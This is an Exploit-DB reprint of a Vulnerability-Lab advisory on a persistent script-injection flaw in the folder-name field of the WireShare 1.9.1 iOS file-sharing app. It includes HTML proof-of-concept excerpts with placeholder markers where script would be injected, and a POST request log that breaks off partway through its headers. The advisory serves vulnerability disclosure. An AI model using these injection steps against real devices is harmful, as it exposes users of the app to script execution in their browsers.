Exploit-DB #30145
Description: Feetan Inc WireShare 1.9.1 iOS - Persistent
Type: webapps
Platform: ios
Date: 2013-12-08
Author: Vulnerability-Lab

Exploit:
Document Title:
===============
Feetan Inc WireShare v1.9.1 iOS - Persistent Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1157


Release Date:
=============
2013-12-05


Vulnerability Laboratory ID (VL-ID):
====================================
1157


Common Vulnerability Scoring System:
====================================
6.4


Product & Service Introduction:
===============================
WireShare supports more than 30 different file formats, including PDF, EPUB, TXT, CHM,PNG,MP3, RMVB and AVI. 
You’re able to import files via EMAIL,Wi-Fi, iTunes File Sharing, the built-in browser, and Dropbox, Box, 
SkyDrive, Google Drive and SugarSync.... Files can be arranged in folders, copied, renamed, zipped, and 
viewed. You can view the document, read novels, listen to music, view photos, play video, annotate PDF 
and share files in WireShare.

(Copy of the Homepage: https://itunes.apple.com/de/app/wireshare-share-files-your/id527465632 )


Abstract Advisory Information:
==============================
The Vulnerability Laboratory Research Team discovered multiple persistent input validation web vulnerabilities 
in the Feetan Inc WireShare (Share files with your friends) mobile application v1.9.1 for apple iOS.


Vulnerability Disclosure Timeline:
==================================
2013-12-01:    Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Exploitation Technique:
=======================
Remote


Severity Level:
===============
High


Technical Details & Description:
================================
Multiple persistent input validation web vulnerabilities has been discovered in the WireShare v1.9.1 for apple iOS.
A persistent input validation web vulnerability allows remote attackers to inject own malicious script codes on the 
application-side (persistent) of the affected application web-server.

The vulnerability is located in the add `New Folder` input field. The vulnerability allows remote attackers to inject 
own malicious script codes on the application-side of the index path/folder listing. The script code execute occurs 
in the index path/folder listing with the vulnerable foldername parameter. The inject can be done local by the device 
via add folder function or by remote inject via web-interface. The second execute occurs when the user is requesting 
to delete the malicious injected script code entry of the folder list. The security risk of the persistent input 
validation web vulnerability in the foldername value is estimated as high(-) with a cvss (common vulnerability scoring 
system) count of 6.4(+)|(-)6.5.

Exploitation of the persistent script code inject vulnerability via POST method request requires low user interaction 
and no privileged web-interface user account. In the default settings is auth of the web-server deactivated and blank.

Request Method(s):
				[+] POST

Vulnerable Module(s):
				[+] New Folder (fileListContainer)

Vulnerable Module(s):
				[+] folder [name value] (targetItem)

Affected Module(s):
				[+] Folder Index List


Proof of Concept (PoC):
=======================
The persistent input validation web vulnerability can be exploited by local attackers with physical device access or 
by remote attackers without privileged application user account and low user interaction. For security demonstration 
or to reproduce the vulnerability follow the information and steps below.


PoC: Folder Index List - Index

<dt class="tthread">
<p class="hi"></p>
<p class="hn"><b>Name</b></p>
<p class="hs"><b>Size</b></p>
<p class="he"><b>Operation</b></p>
</dt>
<div style="background-image: url("/root/bg_file_list.jpg"); min-height:575px; margin-top: 93px;" id="fileListContainer">
<dd>
<p class="n">
<a href="http://localost:8080/New%20Folder%20%3C[PERSISTENT INJECTED SCRIPT CODE!]%3E">
<img src="WireShare_files/icon_folder.png" height="30" width="40"></a>
</p>
<p class="p">
<a href="http://localhost:8080/New%20Folder%20%3C[PERSISTENT INJECTED SCRIPT CODE!]%3E">New Folder <[PERSISTENT INJECTED SCRIPT CODE!].x"></a>
    </p>



PoC: Folder Index List - Index

<div style="opacity: 0.5; height: 520px; width: 1349px; position: fixed; left: 0px; top: 0px; 
z-index: 1001;" class="simplemodal-overlay" id="simplemodal-overlay"></div><div style="position: fixed; 
z-index: 1002; height: 166px; width: 280px; left: 521.5px; top: 176px;" class="simplemodal-container" 
id="simplemodal-container"><input class="simplemodal-close" name="cancelButton" id="cancelButton" value="" type="button">
<div style="height: 100%; outline: 0px none; width: 100%; overflow: auto;" class="simplemodal-wrap" tabindex="-1">
<div style="display: block;" class="simplemodal-data" id="modal-content">
	<div id="modal-title"><h3>Delete File or Folder</h3></div>
	<div id="modal-text"><a>Are you sure to delete it?
</a></div>
	<form name="input" action="" method="post">
	<div style="display: none;" id="modal-field"><input value="delete" name="operationType" type="hidden">
<input value="[PERSISTENT INJECTED SCRIPT CODE!]" name="originalItem" type="hidden"></div>
	<input value="hello this is a test folder" name="ID" id="ID" class="inputone" type="hidden">
	<input style="margin: 44px 4px 5px 3px;" value="" name="submitButton" id="submitButton" type="submit">
	</form>
</div></div></div></body></html>



--- PoC Session Request Logs [POST] ---
Status: 200[OK]
POST http://192.168.2.106:8080/# 
Load Flags[LOAD_DOCUMENT_URI  LOAD_INITIAL_DOCUMENT_URI  ] 
Content Size[-1] 
Mime Type[application/x-unknown-content-type]
   

Request Headers:
Host[192.168.2.106:8080]
User-Agent[Mozilla/5.0 (Windows NT 6.1; WOW64; rv:25.0) Gecko/20100101 Firefox/25.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Accept-Language[en-US,en;q=0.5]
Accept-Encodin